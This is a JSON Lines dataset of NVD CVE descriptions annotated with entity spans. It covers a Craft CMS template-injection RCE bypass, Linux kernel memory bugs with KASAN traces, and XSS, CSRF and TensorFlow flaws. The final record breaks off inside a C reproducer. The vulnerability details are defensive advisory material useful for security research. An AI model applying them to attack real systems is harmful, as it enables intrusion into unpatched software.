{"text": "Craft is a content management system (CMS). There is an authenticated admin RCE in Craft CMS 5.8.21 via Server-Side Template Injection using the create() Twig function combined with a Symfony Process gadget chain. The create() Twig function exposes Craft::createObject(), which allows instantiation of arbitrary PHP classes with constructor arguments. Combined with the bundled symfony/process dependency, this enables RCE. This bypasses the fix implemented for CVE-2025-57811 (patched in 5.8.7). This vulnerability is fixed in 5.9.0-beta.1 and 4.17.0-beta.1.", "spans": {"CVE_ID: CVE-2025-57811": [[462, 476]], "SYSTEM: PHP": [[312, 315]], "VULNERABILITY: Server-Side Template Injection": [[104, 134]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-28695"}}
{"text": "In libIEC61850 before version 1.4.3, when a message with COTP message length field with value < 4 is received an integer underflow will happen leading to heap buffer overflow. This can cause an application crash or on some platforms even the execution of remote code. If your application is used in open networks or there are untrusted nodes in the network it is highly recommend to apply the patch. This was patched with commit 033ab5b. Users of version 1.4.x should upgrade to version 1.4.3 when available. As a workaround changes of commit 033ab5b can be applied to older versions.", "spans": {"VULNERABILITY: integer underflow": [[113, 130]], "VULNERABILITY: buffer overflow": [[159, 174]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15158"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: ensure no dirty metadata is written back for an fs with errors\n\n[BUG]\nDuring development of a minor feature (make sure all btrfs_bio::end_io()\nis called in task context), I noticed a crash in generic/388, where\nmetadata writes triggered new works after btrfs_stop_all_workers().\n\nIt turns out that it can even happen without any code modification, just\nusing RAID5 for metadata and the same workload from generic/388 is going\nto trigger the use-after-free.\n\n[CAUSE]\nIf btrfs hits an error, the fs is marked as error, no new\ntransaction is allowed thus metadata is in a frozen state.\n\nBut there are some metadata modifications before that error, and they are\nstill in the btree inode page cache.\n\nSince there will be no real transaction commit, all those dirty folios\nare just kept as is in the page cache, and they can not be invalidated\nby invalidate_inode_pages2() call inside close_ctree(), because they are\ndirty.\n\nAnd finally after btrfs_stop_all_workers(), we call iput() on btree\ninode, which triggers writeback of those dirty metadata.\n\nAnd if the fs is using RAID56 metadata, this will trigger RMW and queue\nnew works into rmw_workers, which is already stopped, causing warning\nfrom queue_work() and use-after-free.\n\n[FIX]\nAdd a special handling for write_one_eb(), that if the fs is already in\nan error state, immediately mark the bbio as failure, instead of really\nsubmitting them.\n\nThen during close_ctree(), iput() will just discard all those dirty\ntree blocks without really writing them back, thus no more new jobs for\nalready stopped-and-freed workqueues.\n\nThe extra discard in write_one_eb() also acts as an extra safenet.\nE.g. the transaction abort is triggered by some extent/free space\ntree corruptions, and since extent/free space tree is already corrupted\nsome tree blocks may be allocated where they shouldn't be (overwriting\nexisting tree blocks). In that case writing them back will further\ncorrupting the fs.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[517, 531], [1285, 1299]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-40303"}}
{"text": "A Cross Site Scripting (XSS) vulnerability exists in RosarioSIS before 7.6.1 via the xss_clean function in classes/Security.php, which allows remote malicious users to inject arbitrary JavaScript or HTML. An example of affected components are all Markdown input fields.", "spans": {"FILEPATH: Security.php": [[115, 127]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-44565"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/handshake: fix null-ptr-deref in handshake_nl_done_doit()\n\nWe should not call trace_handshake_cmd_done_err() if socket lookup has failed.\n\nAlso we should call trace_handshake_cmd_done_err() before releasing the file,\notherwise dereferencing sock->sk can return garbage.\n\nThis also reverts 7afc6d0a107f (\"net/handshake: Fix uninitialized local variable\")\n\nUnable to handle kernel paging request at virtual address dfff800000000003\nKASAN: null-ptr-deref in range [0x0000000000000018-0x000000000000001f]\nMem abort info:\nESR = 0x0000000096000005\nEC = 0x25: DABT (current EL), IL = 32 bits\nSET = 0, FnV = 0\nEA = 0, S1PTW = 0\nFSC = 0x05: level 1 translation fault\nData abort info:\nISV = 0, ISS = 0x00000005, ISS2 = 0x00000000\nCM = 0, WnR = 0, TnD = 0, TagAccess = 0\nGCS = 0, Overlay = 0, DirtyBit = 0, Xs = 0\n[dfff800000000003] address between user and kernel address ranges\nInternal error: Oops: 0000000096000005 [#1] PREEMPT SMP\nModules linked in:\nCPU: 1 PID: 5986 Comm: syz-executor292 Not tainted 6.5.0-rc7-syzkaller-gfe4469582053 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/26/2023\npstate: 80400005 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : handshake_nl_done_doit+0x198/0x9c8 net/handshake/netlink.c:193\nlr : handshake_nl_done_doit+0x180/0x9c8\nsp : ffff800096e37180\nx29: ffff800096e37200 x28: 1ffff00012dc6e34 x27: dfff800000000000\nx26: ffff800096e373d0 x25: 0000000000000000 x24: 00000000ffffffa8\nx23: ffff800096e373f0 x22: 1ffff00012dc6e38 x21: 0000000000000000\nx20: ffff800096e371c0 x19: 0000000000000018 x18: 0000000000000000\nx17: 0000000000000000 x16: ffff800080516cc4 x15: 0000000000000001\nx14: 1fffe0001b14aa3b x13: 0000000000000000 x12: 0000000000000000\nx11: 0000000000000000 x10: 0000000000000000 x9 : 0000000000000003\nx8 : 0000000000000003 x7 : ffff800080afe47c x6 : 0000000000000000\nx5 : 0000000000000000 x4 : 0000000000000000 x3 : ffff800080a88078\nx2 : 0000000000000001 x1 : 00000000ffffffa8 x0 : 0000000000000000\nCall trace:\nhandshake_nl_done_doit+0x198/0x9c8 net/handshake/netlink.c:193\ngenl_family_rcv_msg_doit net/netlink/genetlink.c:970 [inline]\ngenl_family_rcv_msg net/netlink/genetlink.c:1050 [inline]\ngenl_rcv_msg+0x96c/0xc50 net/netlink/genetlink.c:1067\nnetlink_rcv_skb+0x214/0x3c4 net/netlink/af_netlink.c:2549\ngenl_rcv+0x38/0x50 net/netlink/genetlink.c:1078\nnetlink_unicast_kernel net/netlink/af_netlink.c:1339 [inline]\nnetlink_unicast+0x660/0x8d4 net/netlink/af_netlink.c:1365\nnetlink_sendmsg+0x834/0xb18 net/netlink/af_netlink.c:1914\nsock_sendmsg_nosec net/socket.c:725 [inline]\nsock_sendmsg net/socket.c:748 [inline]\n____sys_sendmsg+0x56c/0x840 net/socket.c:2494\n___sys_sendmsg net/socket.c:2548 [inline]\n__sys_sendmsg+0x26c/0x33c net/socket.c:2577\n__do_sys_sendmsg net/socket.c:2586 [inline]\n__se_sys_sendmsg net/socket.c:2584 [inline]\n__arm64_sys_sendmsg+0x80/0x94 net/socket.c:2584\n__invoke_syscall arch/arm64/kernel/syscall.c:37 [inline]\ninvoke_syscall+0x98/0x2b8 arch/arm64/kernel/syscall.c:51\nel0_svc_common+0x130/0x23c arch/arm64/kernel/syscall.c:136\ndo_el0_svc+0x48/0x58 arch/arm64/kernel/syscall.c:155\nel0_svc+0x58/0x16c arch/arm64/kernel/entry-common.c:678\nel0t_64_sync_handler+0x84/0xfc arch/arm64/kernel/entry-common.c:696\nel0t_64_sync+0x190/0x194 arch/arm64/kernel/entry.S:591\nCode: 12800108 b90043e8 910062b3 d343fe68 (387b6908)", "spans": {"FILEPATH: /26/2023": [[1186, 1194]], "FILEPATH: /handshake/netlink.c": [[1302, 1322], [2099, 2119]], "FILEPATH: /netlink/genetlink.c": [[2152, 2172], [2209, 2229], [2272, 2292], [2378, 2398]], "FILEPATH: /netlink/af_netlink.c": [[2329, 2350], [2430, 2451], [2497, 2518], [2555, 2576]], "FILEPATH: /arm64/kernel/syscall.c": [[2955, 2978], [3021, 3044], [3079, 3102], [3132, 3155]], "FILEPATH: /arm64/kernel/entry-common.c": [[3183, 3211], [3251, 3279]], "FILEPATH: /arm64/kernel/entry.S": [[3313, 3334]], "FILEPATH: socket.c": [[2605, 2613], [2644, 2652], [2698, 2706], [2731, 2739], [2784, 2792], [2819, 2827], [2863, 2871], [2920, 2928]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[1120, 1126], [1127, 1133], [1149, 1155], [1177, 1183]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53686"}}
{"text": "nosurf is cross-site request forgery (CSRF) protection middleware for Go. A vulnerability in versions prior to 1.2.0 allows an attacker who controls content on the target site, or on a subdomain of the target site (either via XSS, or otherwise) to bypass CSRF checks and issue requests on user's behalf. Due to misuse of the Go `net/http` library, nosurf categorizes all incoming requests as plain-text HTTP requests, in which case the `Referer` header is not checked to have the same origin as the target webpage. If the attacker has control over HTML contents on either the target website (e.g. `example.com`), or on a website hosted on a subdomain of the target (e.g. `attacker.example.com`), they will also be able to manipulate cookies set for the target website. By acquiring the secret CSRF token from the cookie, or overriding the cookie with a new token known to the attacker, `attacker.example.com` is able to craft cross-site requests to `example.com`. A patch for the issue was released in nosurf 1.2.0. In lieu of upgrading to a patched version of nosurf, users may additionally use another HTTP middleware to ensure that a non-safe HTTP request is coming from the same origin (e.g. by requiring a `Sec-Fetch-Site: same-origin` header in the request).", "spans": {"DOMAIN: example.com": [[598, 609], [950, 961]], "DOMAIN: attacker.example.com": [[672, 692], [887, 907]], "VULNERABILITY: cross-site request forgery": [[10, 36]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-46721"}}
{"text": "Vulnerability in the Oracle Marketing product of Oracle E-Business Suite (component: Marketing Administration). Supported versions that are affected are 12.1.1 - 12.1.3 and 12.2.3 - 12.2.10. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Marketing. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Marketing, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Marketing accessible data as well as unauthorized update, insert or delete access to some of Oracle Marketing accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [49, 55], [299, 305], [434, 440], [624, 630], [724, 730]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14817"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncifs: fix double free race when mount fails in cifs_get_root()\n\nWhen cifs_get_root() fails during cifs_smb3_do_mount() we call\ndeactivate_locked_super() which eventually will call delayed_free() which\nwill free the context.\nIn this situation we should not proceed to enter the out: section in\ncifs_smb3_do_mount() and free the same resources a second time.\n\n[Thu Feb 10 12:59:06 2022] BUG: KASAN: use-after-free in rcu_cblist_dequeue+0x32/0x60\n[Thu Feb 10 12:59:06 2022] Read of size 8 at addr ffff888364f4d110 by task swapper/1/0\n\n[Thu Feb 10 12:59:06 2022] CPU: 1 PID: 0 Comm: swapper/1 Tainted: G           OE     5.17.0-rc3+ #4\n[Thu Feb 10 12:59:06 2022] Hardware name: Microsoft Corporation Virtual Machine/Virtual Machine, BIOS Hyper-V UEFI Release v4.0 12/17/2019\n[Thu Feb 10 12:59:06 2022] Call Trace:\n[Thu Feb 10 12:59:06 2022]  <IRQ>\n[Thu Feb 10 12:59:06 2022]  dump_stack_lvl+0x5d/0x78\n[Thu Feb 10 12:59:06 2022]  print_address_description.constprop.0+0x24/0x150\n[Thu Feb 10 12:59:06 2022]  ? rcu_cblist_dequeue+0x32/0x60\n[Thu Feb 10 12:59:06 2022]  kasan_report.cold+0x7d/0x117\n[Thu Feb 10 12:59:06 2022]  ? rcu_cblist_dequeue+0x32/0x60\n[Thu Feb 10 12:59:06 2022]  __asan_load8+0x86/0xa0\n[Thu Feb 10 12:59:06 2022]  rcu_cblist_dequeue+0x32/0x60\n[Thu Feb 10 12:59:06 2022]  rcu_core+0x547/0xca0\n[Thu Feb 10 12:59:06 2022]  ? call_rcu+0x3c0/0x3c0\n[Thu Feb 10 12:59:06 2022]  ? __this_cpu_preempt_check+0x13/0x20\n[Thu Feb 10 12:59:06 2022]  ? lock_is_held_type+0xea/0x140\n[Thu Feb 10 12:59:06 2022]  rcu_core_si+0xe/0x10\n[Thu Feb 10 12:59:06 2022]  __do_softirq+0x1d4/0x67b\n[Thu Feb 10 12:59:06 2022]  __irq_exit_rcu+0x100/0x150\n[Thu Feb 10 12:59:06 2022]  irq_exit_rcu+0xe/0x30\n[Thu Feb 10 12:59:06 2022]  sysvec_hyperv_stimer0+0x9d/0xc0\n...\n[Thu Feb 10 12:59:07 2022] Freed by task 58179:\n[Thu Feb 10 12:59:07 2022]  kasan_save_stack+0x26/0x50\n[Thu Feb 10 12:59:07 2022]  kasan_set_track+0x25/0x30\n[Thu Feb 10 12:59:07 2022]  kasan_set_free_info+0x24/0x40\n[Thu Feb 10 12:59:07 2022]  ____kasan_slab_free+0x137/0x170\n[Thu Feb 10 12:59:07 2022]  __kasan_slab_free+0x12/0x20\n[Thu Feb 10 12:59:07 2022]  slab_free_freelist_hook+0xb3/0x1d0\n[Thu Feb 10 12:59:07 2022]  kfree+0xcd/0x520\n[Thu Feb 10 12:59:07 2022]  cifs_smb3_do_mount+0x149/0xbe0 [cifs]\n[Thu Feb 10 12:59:07 2022]  smb3_get_tree+0x1a0/0x2e0 [cifs]\n[Thu Feb 10 12:59:07 2022]  vfs_get_tree+0x52/0x140\n[Thu Feb 10 12:59:07 2022]  path_mount+0x635/0x10c0\n[Thu Feb 10 12:59:07 2022]  __x64_sys_mount+0x1bf/0x210\n[Thu Feb 10 12:59:07 2022]  do_syscall_64+0x5c/0xc0\n[Thu Feb 10 12:59:07 2022]  entry_SYSCALL_64_after_hwframe+0x44/0xae\n\n[Thu Feb 10 12:59:07 2022] Last potentially related work creation:\n[Thu Feb 10 12:59:07 2022]  kasan_save_stack+0x26/0x50\n[Thu Feb 10 12:59:07 2022]  __kasan_record_aux_stack+0xb6/0xc0\n[Thu Feb 10 12:59:07 2022]  kasan_record_aux_stack_noalloc+0xb/0x10\n[Thu Feb 10 12:59:07 2022]  call_rcu+0x76/0x3c0\n[Thu Feb 10 12:59:07 2022]  cifs_umount+0xce/0xe0 [cifs]\n[Thu Feb 10 12:59:07 2022]  cifs_kill_sb+0xc8/0xe0 [cifs]\n[Thu Feb 10 12:59:07 2022]  deactivate_locked_super+0x5d/0xd0\n[Thu Feb 10 12:59:07 2022]  cifs_smb3_do_mount+0xab9/0xbe0 [cifs]\n[Thu Feb 10 12:59:07 2022]  smb3_get_tree+0x1a0/0x2e0 [cifs]\n[Thu Feb 10 12:59:07 2022]  vfs_get_tree+0x52/0x140\n[Thu Feb 10 12:59:07 2022]  path_mount+0x635/0x10c0\n[Thu Feb 10 12:59:07 2022]  __x64_sys_mount+0x1bf/0x210\n[Thu Feb 10 12:59:07 2022]  do_syscall_64+0x5c/0xc0\n[Thu Feb 10 12:59:07 2022]  entry_SYSCALL_64_after_hwframe+0x44/0xae", "spans": {"FILEPATH: /1/0": [[595, 599]], "FILEPATH: /17/2019": [[831, 839]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Microsoft": [[743, 752]], "VULNERABILITY: use-after-free": [[466, 480]], "VULNERABILITY: double free": [[79, 90]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48919"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nrcutorture: Fix rcutorture_one_extend_check() splat in RT kernels\n\nFor built with CONFIG_PREEMPT_RT=y kernels, running rcutorture\ntests resulted in the following splat:\n\n[   68.797425] rcutorture_one_extend_check during change: Current 0x1  To add 0x1  To remove 0x0  preempt_count() 0x0\n[   68.797533] WARNING: CPU: 2 PID: 512 at kernel/rcu/rcutorture.c:1993 rcutorture_one_extend_check+0x419/0x560 [rcutorture]\n[   68.797601] Call Trace:\n[   68.797602]  <TASK>\n[   68.797619]  ? lockdep_softirqs_off+0xa5/0x160\n[   68.797631]  rcutorture_one_extend+0x18e/0xcc0 [rcutorture 2466dbd2ff34dbaa36049cb323a80c3306ac997c]\n[   68.797646]  ? local_clock+0x19/0x40\n[   68.797659]  rcu_torture_one_read+0xf0/0x280 [rcutorture 2466dbd2ff34dbaa36049cb323a80c3306ac997c]\n[   68.797678]  ? __pfx_rcu_torture_one_read+0x10/0x10 [rcutorture 2466dbd2ff34dbaa36049cb323a80c3306ac997c]\n[   68.797804]  ? __pfx_rcu_torture_timer+0x10/0x10 [rcutorture 2466dbd2ff34dbaa36049cb323a80c3306ac997c]\n[   68.797815] rcu-torture: rcu_torture_reader task started\n[   68.797824] rcu-torture: Creating rcu_torture_reader task\n[   68.797824]  rcu_torture_reader+0x238/0x580 [rcutorture 2466dbd2ff34dbaa36049cb323a80c3306ac997c]\n[   68.797836]  ? kvm_sched_clock_read+0x15/0x30\n\nDisable BH does not change the SOFTIRQ corresponding bits in\npreempt_count() for RT kernels, this commit therefore use\nsoftirq_count() to check the if BH is disabled.", "spans": {"HASH: 2466dbd2ff34dbaa36049cb323a80c3306ac997c": [[644, 684], [786, 826], [895, 935], [1001, 1041], [1223, 1263]], "FILEPATH: /rcu/rcutorture.c": [[406, 423]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-39745"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/packet: fix slab-out-of-bounds access in packet_recvmsg()\n\nsyzbot found that when an AF_PACKET socket is using PACKET_COPY_THRESH\nand mmap operations, tpacket_rcv() is queueing skbs with\ngarbage in skb->cb[], triggering a too big copy [1]\n\nPresumably, users of af_packet using mmap() already gets correct\nmetadata from the mapped buffer, we can simply make sure\nto clear 12 bytes that might be copied to user space later.\n\nBUG: KASAN: stack-out-of-bounds in memcpy include/linux/fortify-string.h:225 [inline]\nBUG: KASAN: stack-out-of-bounds in packet_recvmsg+0x56c/0x1150 net/packet/af_packet.c:3489\nWrite of size 165 at addr ffffc9000385fb78 by task syz-executor233/3631\n\nCPU: 0 PID: 3631 Comm: syz-executor233 Not tainted 5.17.0-rc7-syzkaller-02396-g0b3660695e80 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\nCall Trace:\n <TASK>\n __dump_stack lib/dump_stack.c:88 [inline]\n dump_stack_lvl+0xcd/0x134 lib/dump_stack.c:106\n print_address_description.constprop.0.cold+0xf/0x336 mm/kasan/report.c:255\n __kasan_report mm/kasan/report.c:442 [inline]\n kasan_report.cold+0x83/0xdf mm/kasan/report.c:459\n check_region_inline mm/kasan/generic.c:183 [inline]\n kasan_check_range+0x13d/0x180 mm/kasan/generic.c:189\n memcpy+0x39/0x60 mm/kasan/shadow.c:66\n memcpy include/linux/fortify-string.h:225 [inline]\n packet_recvmsg+0x56c/0x1150 net/packet/af_packet.c:3489\n sock_recvmsg_nosec net/socket.c:948 [inline]\n sock_recvmsg net/socket.c:966 [inline]\n sock_recvmsg net/socket.c:962 [inline]\n ____sys_recvmsg+0x2c4/0x600 net/socket.c:2632\n ___sys_recvmsg+0x127/0x200 net/socket.c:2674\n __sys_recvmsg+0xe2/0x1a0 net/socket.c:2704\n do_syscall_x64 arch/x86/entry/common.c:50 [inline]\n do_syscall_64+0x35/0xb0 arch/x86/entry/common.c:80\n entry_SYSCALL_64_after_hwframe+0x44/0xae\nRIP: 0033:0x7fdfd5954c29\nCode: 28 00 00 00 75 05 48 83 c4 28 c3 e8 41 15 00 00 90 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 c0 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007ffcf8e71e48 EFLAGS: 00000246 ORIG_RAX: 000000000000002f\nRAX: ffffffffffffffda RBX: 0000000000000003 RCX: 00007fdfd5954c29\nRDX: 0000000000000000 RSI: 0000000020000500 RDI: 0000000000000005\nRBP: 0000000000000000 R08: 000000000000000d R09: 000000000000000d\nR10: 0000000000000000 R11: 0000000000000246 R12: 00007ffcf8e71e60\nR13: 00000000000f4240 R14: 000000000000c1ff R15: 00007ffcf8e71e54\n </TASK>\n\naddr ffffc9000385fb78 is located in stack of task syz-executor233/3631 at offset 32 in frame:\n ____sys_recvmsg+0x0/0x600 include/linux/uio.h:246\n\nthis frame has 1 object:\n [32, 160) 'addr'\n\nMemory state around the buggy address:\n ffffc9000385fa80: 00 04 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00 00\n ffffc9000385fb00: 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00\n>ffffc9000385fb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f3\n                                                                ^\n ffffc9000385fc00: f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00 f1\n ffffc9000385fc80: f1 f1 f1 00 f2 f2 f2 00 f2 f2 f2 00 00 00 00 00\n==================================================================", "spans": {"FILEPATH: /linux/fortify-string.h": [[545, 568], [1377, 1400]], "FILEPATH: /packet/af_packet.c": [[648, 667], [1446, 1465]], "FILEPATH: /01/2011": [[922, 930]], "FILEPATH: /kasan/report.c": [[1098, 1113], [1136, 1151], [1196, 1211]], "FILEPATH: /kasan/generic.c": [[1239, 1255], [1302, 1318]], "FILEPATH: /kasan/shadow.c": [[1343, 1358]], "FILEPATH: /x86/entry/common.c": [[1754, 1773], [1815, 1834]], "FILEPATH: /linux/uio.h": [[2644, 2656]], "FILEPATH: dump_stack.c": [[969, 981], [1025, 1037]], "FILEPATH: socket.c": [[1495, 1503], [1535, 1543], [1575, 1583], [1630, 1638], [1676, 1684], [1720, 1728]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[856, 862], [863, 869], [885, 891], [913, 919]], "VULNERABILITY: out-of-bounds access": [[90, 110]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48839"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. The implementation of `tf.raw_ops.MaxPoolGradWithArgmax` can cause reads outside of bounds of heap allocated data if attacker supplies specially crafted inputs. The implementation(https://github.com/tensorflow/tensorflow/blob/31bd5026304677faa8a0b77602c6154171b9aec1/tensorflow/core/kernels/image/draw_bounding_box_op.cc#L116-L130) assumes that the last element of `boxes` input is 4, as required by [the op](https://www.tensorflow.org/api_docs/python/tf/raw_ops/DrawBoundingBoxesV2). Since this is not checked attackers passing values less than 4 can write outside of bounds of heap allocated objects and cause memory corruption. If the last dimension in `boxes` is less than 4, accesses similar to `tboxes(b, bb, 3)` will access data outside of bounds. Further during code execution there are also writes to these indices. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/31bd5026304677faa8a0b77602c6154171b9aec1/tensorflow/core/kernels/image/draw_bounding_box_op.cc#L116-L130": [[251, 401]], "URL: https://www.tensorflow.org/api_docs/python/tf/raw_ops/DrawBoundingBoxesV2": [[480, 553]], "VULNERABILITY: memory corruption": [[683, 700]], "VULNERABILITY: code execution": [[841, 855]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29571"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nice: fix 'scheduling while atomic' on aux critical err interrupt\n\nThere's a kernel BUG splat on processing aux critical error\ninterrupts in ice_misc_intr():\n\n[ 2100.917085] BUG: scheduling while atomic: swapper/15/0/0x00010000\n...\n[ 2101.060770] Call Trace:\n[ 2101.063229]  <IRQ>\n[ 2101.065252]  dump_stack+0x41/0x60\n[ 2101.068587]  __schedule_bug.cold.100+0x4c/0x58\n[ 2101.073060]  __schedule+0x6a4/0x830\n[ 2101.076570]  schedule+0x35/0xa0\n[ 2101.079727]  schedule_preempt_disabled+0xa/0x10\n[ 2101.084284]  __mutex_lock.isra.7+0x310/0x420\n[ 2101.088580]  ? ice_misc_intr+0x201/0x2e0 [ice]\n[ 2101.093078]  ice_send_event_to_aux+0x25/0x70 [ice]\n[ 2101.097921]  ice_misc_intr+0x220/0x2e0 [ice]\n[ 2101.102232]  __handle_irq_event_percpu+0x40/0x180\n[ 2101.106965]  handle_irq_event_percpu+0x30/0x80\n[ 2101.111434]  handle_irq_event+0x36/0x53\n[ 2101.115292]  handle_edge_irq+0x82/0x190\n[ 2101.119148]  handle_irq+0x1c/0x30\n[ 2101.122480]  do_IRQ+0x49/0xd0\n[ 2101.125465]  common_interrupt+0xf/0xf\n[ 2101.129146]  </IRQ>\n...\n\nAs Andrew correctly mentioned previously[0], the following call\nladder happens:\n\nice_misc_intr() <- hardirq\n  ice_send_event_to_aux()\n    device_lock()\n      mutex_lock()\n        might_sleep()\n          might_resched() <- oops\n\nAdd a new PF state bit which indicates that an aux critical error\noccurred and serve it in ice_service_task() in process context.\nThe new ice_pf::oicr_err_reg is read-write in both hardirq and\nprocess contexts, but only 3 bits of non-critical data probably\naren't worth explicit synchronizing (and they're even in the same\nbyte [31:24]).\n\n[0] https://lore.kernel.org/all/YeSRUVmrdmlUXHDn@lunn.ch", "spans": {"URL: https://lore.kernel.org/all/YeSRUVmrdmlUXHDn@lunn.ch": [[1660, 1712]], "FILEPATH: /15/0/0x00010000": [[279, 295]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49193"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nntb_netdev: Use dev_kfree_skb_any() in interrupt context\n\nTX/RX callback handlers (ntb_netdev_tx_handler(),\nntb_netdev_rx_handler()) can be called in interrupt\ncontext via the DMA framework when the respective\nDMA operations have completed. As such, any calls\nby these routines to free skb's, should use the\ninterrupt context safe dev_kfree_skb_any() function.\n\nPreviously, these callback handlers would call the\ninterrupt unsafe version of dev_kfree_skb(). This has\nnot presented an issue on Intel IOAT DMA engines as\nthat driver utilizes tasklets rather than a hard\ninterrupt handler, like the AMD PTDMA DMA driver.\nOn AMD systems, a kernel WARNING message is\nencountered, which is being issued from\nskb_release_head_state() due to in_hardirq()\nbeing true.\n\nBesides the user visible WARNING from the kernel,\nthe other symptom of this bug was that TCP/IP performance\nacross the ntb_netdev interface was very poor, i.e.\napproximately an order of magnitude below what was\nexpected. With the repair to use dev_kfree_skb_any(),\nkernel WARNINGs from skb_release_head_state() ceased\nand TCP/IP performance, as measured by iperf, was on\npar with expected results, approximately 20 Gb/s on\nAMD Milan based server. Note that this performance\nis comparable with Intel based servers.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[562, 567], [1322, 1327]], "ORGANIZATION: AMD": [[665, 668], [690, 693], [1252, 1255]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50476"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusb: dwc3: gadget: Bail from dwc3_gadget_exit() if dwc->gadget is NULL\n\nThere exists a possible scenario in which dwc3_gadget_init() can fail:\nduring during host -> peripheral mode switch in dwc3_set_mode(), and\na pending gadget driver fails to bind.  Then, if the DRD undergoes\nanother mode switch from peripheral->host the resulting\ndwc3_gadget_exit() will attempt to reference an invalid and dangling\ndwc->gadget pointer as well as call dma_free_coherent() on unmapped\nDMA pointers.\n\nThe exact scenario can be reproduced as follows:\n - Start DWC3 in peripheral mode\n - Configure ConfigFS gadget with FunctionFS instance (or use g_ffs)\n - Run FunctionFS userspace application (open EPs, write descriptors, etc)\n - Bind gadget driver to DWC3's UDC\n - Switch DWC3 to host mode\n   => dwc3_gadget_exit() is called. usb_del_gadget() will put the\n\tConfigFS driver instance on the gadget_driver_pending_list\n - Stop FunctionFS application (closes the ep files)\n - Switch DWC3 to peripheral mode\n   => dwc3_gadget_init() fails as usb_add_gadget() calls\n\tcheck_pending_gadget_drivers() and attempts to rebind the UDC\n\tto the ConfigFS gadget but fails with -19 (-ENODEV) because the\n\tFFS instance is not in FFS_ACTIVE state (userspace has not\n\tre-opened and written the descriptors yet, i.e. desc_ready!=0).\n - Switch DWC3 back to host mode\n   => dwc3_gadget_exit() is called again, but this time dwc->gadget\n\tis invalid.\n\nAlthough it can be argued that userspace should take responsibility\nfor ensuring that the FunctionFS application be ready prior to\nallowing the composite driver bind to the UDC, failure to do so\nshould not result in a panic from the kernel driver.\n\nFix this by setting dwc->gadget to NULL in the failure path of\ndwc3_gadget_init() and add a check to dwc3_gadget_exit() to bail out\nunless the gadget pointer is valid.", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47272"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm/mremap: fix address wraparound in move_page_tables()\n\nOn 32-bit platforms, it is possible for the expression `len + old_addr <\nold_end` to be false-positive if `len + old_addr` wraps around. \n`old_addr` is the cursor in the old range up to which page table entries\nhave been moved; so if the operation succeeded, `old_addr` is the *end* of\nthe old region, and adding `len` to it can wrap.\n\nThe overflow causes mremap() to mistakenly believe that PTEs have been\ncopied; the consequence is that mremap() bails out, but doesn't move the\nPTEs back before the new VMA is unmapped, causing anonymous pages in the\nregion to be lost.  So basically if userspace tries to mremap() a\nprivate-anon region and hits this bug, mremap() will return an error and\nthe private-anon region's contents appear to have been zeroed.\n\nThe idea of this check is that `old_end - len` is the original start\naddress, and writing the check that way also makes it easier to read; so\nfix the check by rearranging the comparison accordingly.\n\n(An alternate fix would be to refactor this function by introducing an\n\"orig_old_start\" variable or such.)\n\n\nTested in a VM with a 32-bit X86 kernel; without the patch:\n\n```\nuser@horn:~/big_mremap$ cat test.c\n#define _GNU_SOURCE\n#include <stdlib.h>\n#include <stdio.h>\n#include <err.h>\n#include <sys/mman.h>\n\n#define ADDR1 ((void*)0x60000000)\n#define ADDR2 ((void*)0x10000000)\n#define SIZE          0x50000000uL\n\nint main(void) 